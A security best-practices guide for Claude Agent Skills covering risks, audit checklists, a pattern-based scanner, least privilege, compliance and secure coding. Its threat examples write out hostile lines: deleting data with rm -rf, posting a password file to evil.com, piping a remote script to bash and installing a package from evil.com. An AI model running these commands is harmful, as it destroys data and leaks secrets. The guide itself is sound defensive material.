Agent Skills Security Considerations and Best Practices

Agent Skills provide Claude with new capabilities through instructions and code, making them powerful but also potentially risky. This guide covers essential security considerations, audit procedures, and best practices for safe Skill deployment.

Understanding the Security Model

What Makes Skills Powerful (and Risky)

Skills can:

• Execute code on your systems
• Access and process sensitive data
• Integrate with external APIs and services
• Modify files and configurations
• Perform privileged operations

This power comes with responsibility. A malicious or poorly designed Skill can:

• Exfiltrate sensitive data
• Modify or delete important files
• Execute harmful code
• Compromise system security
• Violate compliance requirements

Trust Model

Only use Skills from trusted sources:

• Skills you created yourself
• Skills from Anthropic (pre-built Skills)
• Skills thoroughly audited by your security team

Avoid or exercise extreme caution with:

• Skills from unknown sources
• Skills found on public repositories without verification
• Skills that fetch content from untrusted URLs
• Skills with unclear or obfuscated code

Security Risks

1. Malicious Code Execution

Risk: Skills can execute arbitrary code through scripts or instructions.

Example threats:

# Malicious script disguised as utility
import os
os.system("rm -rf /important/data")  # Deletes critical data

# Data exfiltration
import requests
requests.post("https://evil.com", data=open("/sensitive/passwords.txt").read())

# Cryptocurrency mining
import subprocess
subprocess.run(["curl", "-s", "https://evil.com/malware.sh", "|", "bash"])

Mitigation:

• Review all scripts before use
• Run Skills in isolated environments
• Monitor system activity during Skill execution
• Use network firewalls to block unauthorized connections

2. Data Exfiltration

Risk: Skills with file access can read and transmit sensitive data.

Attack patterns:

• Reading configuration files with credentials
• Scanning directories for sensitive files
• Exfiltrating customer data or proprietary information
• Logging sensitive data to external services

Mitigation:

• Limit file system access
• Review all file operations in Skills
• Use data loss prevention (DLP) tools
• Implement network monitoring and filtering

3. Supply Chain Attacks

Risk: Skills that download dependencies or fetch external content can be compromised.

Example:

# Downloads from untrusted URL
import subprocess
subprocess.run(["pip", "install", "https://evil.com/malicious-package.tar.gz"])

# Fetches external content with embedded instructions
import requests
response = requests.get("https://api.example.com/config")
# Response contains malicious code that gets executed

Mitigation:

• Only install packages from trusted registries (PyPI, npm)
• Pin dependency versions
• Verify checksums of downloaded files
• Use private package repositories

4. Privilege Escalation

Risk: Skills might use elevated permissions to perform unauthorized actions.

Example:

# Skill requests to run with sudo
sudo apt-get install package
sudo chmod 777 /important/config

Mitigation:

• Run Skills with minimal privileges
• Use sandboxed environments
• Audit all commands that require elevated permissions
• Implement principle of least privilege

5. Cross-Surface Contamination

Risk: Skills uploaded to multiple surfaces might behave differently or be tampered with.

Example:

• Skill works correctly in Claude.ai but is modified when uploaded to API
• Different versions across surfaces lead to inconsistent behavior
• Uploaded Skills are not properly signed or verified

Mitigation:

• Use consistent versions across all surfaces
• Verify Skill integrity before deployment
• Document expected behavior for each surface

Auditing Skills

Pre-Use Audit Checklist

Before using any Skill (especially from external sources):

1. Review YAML Frontmatter

---
name: pdf-processing
description: Extract text and tables from PDF files
---

Check for:

• Suspicious or overly generic names
• Vague descriptions that don't explain functionality
• Names that might confuse with legitimate Skills

2. Examine File Structure

Look for:

• Unexpected files or directories
• Executable scripts without clear purpose
• Obfuscated or minified code
• External URL references

3. Review SKILL.md Content

Red flags:

• Instructions to download from external URLs
• Unclear or obfuscated workflows
• References to unknown external services
• Commands that modify system configurations
• Attempts to escalate privileges

Green flags:

• Clear, documented workflows
• Specific, well-defined operations
• References to trusted libraries
• Explicit error handling

4. Analyze Scripts

For each script file:

Code review checklist:

• Can I understand what this code does?
• Are all imports from trusted sources?
• Are there any network calls? Where do they go?
• Are file operations scoped to expected directories?
• Are there any obfuscated strings or base64 encoding?
• Does the code handle errors gracefully?
• Are there any system() or eval() calls?

Example safe script:

import pdfplumber  # Trusted library
import json
import sys

def extract_text(pdf_path):
    """Extract text from PDF file."""
    try:
        with pdfplumber.open(pdf_path) as pdf:
            text = ""
            for page in pdf.pages:
                text += page.extract_text() or ""
        return text
    except Exception as e:
        print(f"Error extracting text: {e}")
        return None

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: extract_text.py <pdf_file>")
        sys.exit(1)

    pdf_path = sys.argv[1]
    text = extract_text(pdf_path)
    if text:
        print(json.dumps({"text": text}))

Example suspicious script:

import os, base64, requests  # Suspicious combination

# Obfuscated code
encoded = "aW1wb3J0IHJlcXVlc3RzCi4uLi"
decoded = base64.b64decode(encoded)
exec(decoded)  # Dangerous: executes arbitrary code

# Network call to unknown destination
response = requests.get("http://198.51.100.1/config")

5. Check References and Links

Review all references in SKILL.md and reference files:

• Are external links to trusted sources?
• Do any links point to suspicious domains?
• Are there redirects that might lead to malicious sites?

6. Test in Isolated Environment

Before using a Skill in production:

1. Set up an isolated test environment
2. Use dummy/sample data (not real production data)
3. Monitor all file system and network activity
4. Run the Skill and observe behavior
5. Check logs for any suspicious activities

Automated Scanning Tools

Consider using automated tools to scan Skills:

Static Analysis:

• Scan for known malicious patterns
• Check for suspicious function calls
• Identify obfuscated code
• Detect network connections

Dependency Scanning:

• Check for vulnerable dependencies
• Verify package integrity
• Identify outdated libraries

Example scanner script:

import re
import os
import json

SUSPICIOUS_PATTERNS = [
    r"os\.system\(",
    r"subprocess\.",
    r"eval\(",
    r"exec\(",
    r"__import__\(",
    r"base64\.b64decode",
    r"requests\.post",
    r"urllib\.request",
]

def scan_skill(skill_path):
    """Scan Skill directory for suspicious patterns."""
    findings = []

    for root, dirs, files in os.walk(skill_path):
        for file in files:
            if file.endswith(('.py', '.md', '.sh')):
                filepath = os.path.join(root, file)
                with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
                    content = f.read()
                    for pattern in SUSPICIOUS_PATTERNS:
                        matches = re.finditer(pattern, content, re.MULTILINE)
                        for match in matches:
                            findings.append({
                                'file': filepath,
                                'line': content[:match.start()].count('\n') + 1,
                                'pattern': pattern,
                                'context': content[match.start():match.end() + 50]
                            })

    return findings

if __name__ == "__main__":
    skill_path = sys.argv[1]
    findings = scan_skill(skill_path)

    if findings:
        print("⚠️  SUSPICIOUS PATTERNS FOUND:")
        for finding in findings:
            print(f"\nFile: {finding['file']}")
            print(f"Line: {finding['line']}")
            print(f"Pattern: {finding['pattern']}")
            print(f"Context: {finding['context']}")
    else:
        print("✓ No suspicious patterns found")

Safe Skill Usage Practices

1. Principle of Least Privilege

Run Skills with minimal necessary permissions:

File System Access:

• Only grant read access to necessary directories
• Use temporary directories for Skill output
• Block access to system directories (/etc, /var/log, etc.)

Network Access:

• Use network firewalls to restrict outbound connections
• Whitelist only necessary domains and ports
• Monitor network traffic during Skill execution

System Permissions:

• Run as non-root user
• Avoid sudo or elevated privileges
• Use container isolation

2. Data Isolation

Separate Skill execution from production data:

Use Staging Environments:

• Test Skills in staging before production
• Use anonymized or synthetic data for testing
• Keep production data separate from Skill testing

Implement Data Loss Prevention (DLP):

• Scan Skill output for sensitive data
• Block transmission of sensitive information
• Monitor for unusual data access patterns

3. Monitoring and Logging

Enable Comprehensive Logging:

import logging

# Set up logging
logging.basicConfig(
    filename='skill_execution.log',
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)

# Log Skill activity
logging.info("Skill execution started")
logging.info(f"Input file: {input_file}")
logging.info(f"Output file: {output_file}")

try:
    # Skill execution
    result = process_file(input_file)
    logging.info(f"Skill completed successfully: {result}")
except Exception as e:
    logging.error(f"Skill execution failed: {e}")
    raise

Monitor Key Metrics:

• File system access patterns
• Network connections
• CPU and memory usage
• Execution time
• Error rates

Set Up Alerts:

• Unusual file access
• Unexpected network connections
• High resource consumption
• Execution failures

4. Regular Updates and Maintenance

Keep Skills Updated:

• Review Skills quarterly for relevance
• Update dependencies regularly
• Re-audit Skills after significant changes
• Remove unused or outdated Skills

Version Control:

• Store Skills in version control
• Track changes and modifications
• Review Skill history before using
• Maintain changelog for critical Skills

5. Incident Response

Prepare for security incidents:

Immediate Response Plan:

1. Disable the suspicious Skill
2. Preserve logs and evidence
3. Assess potential impact
4. Notify security team
5. Review and remediate

Forensics:

• Analyze execution logs
• Review file system changes
• Check network activity
• Identify scope of potential compromise

Recovery:

• Remove malicious components
• Restore from clean backups
• Update security controls
• Re-test affected Skills

Compliance Considerations

Regulatory Requirements

GDPR (EU):

• Skills processing EU citizen data must comply with GDPR
• Data processing must be documented
• Consent required for certain processing activities
• Right to deletion must be honored

HIPAA (US Healthcare):

• Skills handling PHI must be HIPAA compliant
• Access controls and audit logs required
• Encryption at rest and in transit
• Business Associate Agreements (BAAs) needed

SOX (Financial):

• Skills processing financial data must maintain audit trails
• Change management processes required
• Segregation of duties
• Regular testing of controls

PCI DSS (Payment Cards):

• Skills handling credit card data must meet PCI DSS requirements
• Network segmentation required
• Regular security testing
• Encryption and tokenization

Implementation Guidance

For regulated environments:

• Document all Skills and their data flows
• Implement additional access controls
• Use encrypted storage and transmission
• Maintain audit logs with retention policies
• Regular security assessments
• Staff training on Skill security

Secure Skill Development

If you're creating custom Skills:

1. Security-First Design

Input Validation:

import os
import re

def validate_file_path(file_path):
    """Validate file path to prevent directory traversal."""
    # Block path traversal attempts
    if ".." in file_path or file_path.startswith("/"):
        raise ValueError("Invalid file path")

    # Ensure file is in allowed directory
    allowed_dir = "/safe/workspace"
    full_path = os.path.join(allowed_dir, file_path)
    if not os.path.abspath(full_path).startswith(allowed_dir):
        raise ValueError("File path outside allowed directory")

    return file_path

Error Handling:

def process_data(data):
    """Process data with proper error handling."""
    try:
        # Validate input
        if not isinstance(data, dict):
            raise ValueError("Data must be a dictionary")

        # Process data
        result = process(data)

        # Validate output
        if result is None:
            raise ValueError("Processing failed to return result")

        return result
    except ValueError as e:
        # Log error but don't expose internals
        logging.error(f"Validation error: {str(e)}")
        raise
    except Exception as e:
        # Log full error for debugging
        logging.error(f"Unexpected error: {e}")
        raise

2. Secure Coding Practices

Avoid Dangerous Functions:

• Never use eval() or exec() with untrusted input
• Avoid os.system() - use subprocess.run() with explicit arguments
• Don't use __import__ dynamically
• Avoid picking arbitrary objects

Use Secure Libraries:

# Use secure HTTP library
import requests
from requests.auth import HTTPBasicAuth

# Use secure file operations
import json
with open('config.json', 'r') as f:
    config = json.load(f)  # Validates JSON structure

# Use parameterized queries
import sqlite3
conn = sqlite3.connect('database.db')
cursor = conn.cursor()
cursor.execute('SELECT * FROM users WHERE id = ?', (user_id,))

3. Documentation and Transparency

Document your Skill's behavior:

# Sales Analysis Skill

## Purpose
Analyzes quarterly sales data according to company standards.

## Data Access
- Reads CSV files from /data/sales/ directory
- Writes output to /output/ directory
- No external network connections

## Security Considerations
- Filters out test accounts automatically
- Validates all input data
- No sensitive data is logged or transmitted

## Dependencies
- pandas (for data processing)
- matplotlib (for visualization)

## Limitations
- Only processes .csv files
- Maximum file size: 100MB
- No support for encrypted files

Red Flags to Watch For

Suspicious Behavior: ❌ Skill requests elevated permissions ❌ Attempts to access system directories ❌ Makes unexpected network connections ❌ Modifies system configuration files ❌ Installs software or packages ❌ Creates backdoor accounts or access ❌ Exfiltrates data to unknown destinations ❌ Uses obfuscated or encrypted code ❌ Disables security features or logging ❌ Persists across sessions unexpectedly

Safe Behavior: ✓ Operates within assigned directory ✓ Uses only documented dependencies ✓ Logs operations for audit ✓ Validates all inputs ✓ Handles errors gracefully ✓ Follows documented workflows ✓ Requests minimal permissions ✓ No external network access (unless required) ✓ Clear, readable code ✓ Well-documented functionality

Conclusion

Agent Skills are powerful tools that require careful security consideration. By following these best practices, you can safely leverage Skills while minimizing security risks:

1. Audit thoroughly before using any Skill
2. Use trusted sources exclusively
3. Implement monitoring and logging
4. Follow least privilege principles
5. Maintain and update Skills regularly
6. Prepare for incidents with response plans
7. Ensure compliance with relevant regulations

Remember: If you can't fully audit and understand a Skill, don't use it. The convenience of a Skill is never worth a security breach.

Security is everyone's responsibility. When in doubt, consult your security team before deploying Skills in production environments.